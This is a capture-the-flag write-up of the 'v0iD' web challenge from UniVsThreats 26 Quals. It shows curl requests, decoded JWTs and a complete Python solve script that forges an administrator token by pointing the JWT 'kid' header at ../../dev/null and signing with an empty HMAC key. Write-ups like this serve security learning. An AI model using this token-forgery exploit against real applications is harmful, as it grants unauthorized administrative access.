449 words
2 minutes
UniVsThreats 26 Quals CTF - v0iD - Web Exploitation Writeup

Category: Web Exploitation
Flag: UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}

Challenge Description#

Stardate 2026.035 — The USS Threads has docked at Space Station Theta-7 for a routine security audit. As a newly recruited penetration tester, your mission is to assess the ship’s systems. Good luck, space cadet. The stars are watching.

Analysis#

The app was a small Express portal with a login flow, so I started with source-level cheap wins on /login before trying any deep route hunting. That immediately paid off: the HTML comment leaked working credentials and also included a base64 taunt.

curl -i -sS "http://194.102.62.166:30266/login"
HTTP/1.1 200 OK
X-Powered-By: Express
...
<!-- SGFoYWhhX25pY2VfdHJ5X2J1dF9JX2Rvbid0X2hpZGVfZmxhZ3NfaW5fc291cmNlX2NvZGU6KSkpKSkpKSkpKQ== -->
<!-- Test credentials: pilot_001 / S3cret_P1lot_Ag3nt -->
python3.12 -c "import base64;print(base64.b64decode('SGFoYWhhX25pY2VfdHJ5X2J1dF9JX2Rvbid0X2hpZGVfZmxhZ3NfaW5fc291cmNlX2NvZGU6KSkpKSkpKSkpKQ==').decode())"
Hahaha_nice_try_but_I_don't_hide_flags_in_source_code:))))))))))

The credentials were valid and returned a JWT in the session cookie.

curl -i -sS -c "/home/rei/Downloads/v0id.cookies" -X POST "http://194.102.62.166:30266/login" -d "username=pilot_001&password=S3cret_P1lot_Ag3nt"
HTTP/1.1 302 Found
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImdhbGFjdGljLWtleS5rZXkifQ.eyJzdWIiOiJwaWxvdF8wMDEiLCJyb2xlIjoiY3JldyIsImlhdCI6MTc3MjE5OTcxNX0.dFaNJSzY7f9ZnzSSRIFpQ89c82oz_QRVsmz8A3miUSQ; Path=/; HttpOnly
Location: /my-account

Decoding that token showed a high-signal detail: the header had kid: galactic-key.key, so verification likely reads a key from a server-side file path.

python3.12 -c "import base64,json; t='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImdhbGFjdGljLWtleS5rZXkifQ.eyJzdWIiOiJwaWxvdF8wMDEiLCJyb2xlIjoiY3JldyIsImlhdCI6MTc3MjE5OTcxNX0.dFaNJSzY7f9ZnzSSRIFpQ89c82oz_QRVsmz8A3miUSQ'; h,p,s=t.split('.'); d=lambda x: base64.urlsafe_b64decode(x+'='*(-len(x)%4)); print('HEADER',json.loads(d(h))); print('PAYLOAD',json.loads(d(p)))"
HEADER {'alg': 'HS256', 'typ': 'JWT', 'kid': 'galactic-key.key'}
PAYLOAD {'sub': 'pilot_001', 'role': 'crew', 'iat': 1772199715}

/admin with the normal crew token gave a clean authorization failure, so the route existed and role checks were active.

curl -i -sS -b "/home/rei/Downloads/v0id.cookies" "http://194.102.62.166:30266/admin"
HTTP/1.1 403 Forbidden
...
<h1>ACCESS RESTRICTED</h1>
<p style="text-align: center;">Command Center requires <strong>administrator</strong> clearance.</p>
<p style="text-align: center;">You are logged in as: <strong>pilot_001</strong></p>

I briefly tested the classic alg=none bypass first and it was rejected (redirect to /login), which confirmed signature verification was not trivially disabled.

curl -i -sS "http://194.102.62.166:30266/admin" -H "Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiZ2FsYWN0aWMta2V5LmtleSJ9.eyJzdWIiOiJwaWxvdF8wMDEiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTc3MjE5OTc3N30."
HTTP/1.1 302 Found
Location: /login

That made the kid path angle the right pivot: using path traversal to /dev/null forces an empty HMAC secret, then signing HS256 with empty bytes yields a valid server-side signature. Setting both sub and role to administrator unlocked the panel immediately.

smug

curl -sS "http://194.102.62.166:30266/admin" -H "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NzIxOTk5NTF9.BCS-SWyQuYjJk_6G6EPIDvvLjwarb9X9dF7wRfbHxSw"
<h1>COMMAND CENTER</h1>
<h2 style="margin-top: 0; color: #00ff88;">🎖️ Welcome, Administrator</h2>
<a href="/flag"><button>🏴 ACCESS MISSION FLAG</button></a>

From there, hitting /flag with the same forged token returned the real challenge flag in the response body.

dance

curl -sS "http://194.102.62.166:30266/flag" -H "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NzIxOTk5NTF9.BCS-SWyQuYjJk_6G6EPIDvvLjwarb9X9dF7wRfbHxSw"
<h1>MISSION COMPLETE</h1>
<h2 style="margin-top: 0; text-align: center; color: #00ff88;">🎉 FLAG CAPTURED 🎉</h2>
<div class="flag-display">UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}</div>

Solution#

# solve.py
#!/usr/bin/env python3.12

import base64
import hashlib
import hmac
import json
import re
import time

import requests


def b64u(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def forge_admin_token() -> str:
    header = {
        "alg": "HS256",
        "typ": "JWT",
        "kid": "../../../../../../dev/null",
    }
    payload = {
        "sub": "administrator",
        "role": "administrator",
        "iat": int(time.time()),
    }

    msg = f"{b64u(json.dumps(header, separators=(',', ':')).encode())}.{b64u(json.dumps(payload, separators=(',', ':')).encode())}"
    sig = b64u(hmac.new(b"", msg.encode(), hashlib.sha256).digest())
    return f"{msg}.{sig}"


def main() -> None:
    base = "http://194.102.62.166:30266"
    token = forge_admin_token()

    r = requests.get(
        f"{base}/flag",
        headers={"Cookie": f"session={token}"},
        timeout=10,
    )

    m = re.search(r"UVT\{[^}]+\}", r.text)
    if not m:
        raise RuntimeError("flag not found")

    print(m.group(0))


if __name__ == "__main__":
    main()
curl -sS "http://194.102.62.166:30266/flag" -H "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NzIxOTk5NTF9.BCS-SWyQuYjJk_6G6EPIDvvLjwarb9X9dF7wRfbHxSw"
UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}
UniVsThreats 26 Quals CTF - v0iD - Web Exploitation Writeup
https://blog.rei.my.id/posts/59/univsthreats-26-quals-ctf-v0id-web-exploitation-writeup/
Author
Reidho Satria
Published at
2026-02-27
License
CC BY-NC-SA 4.0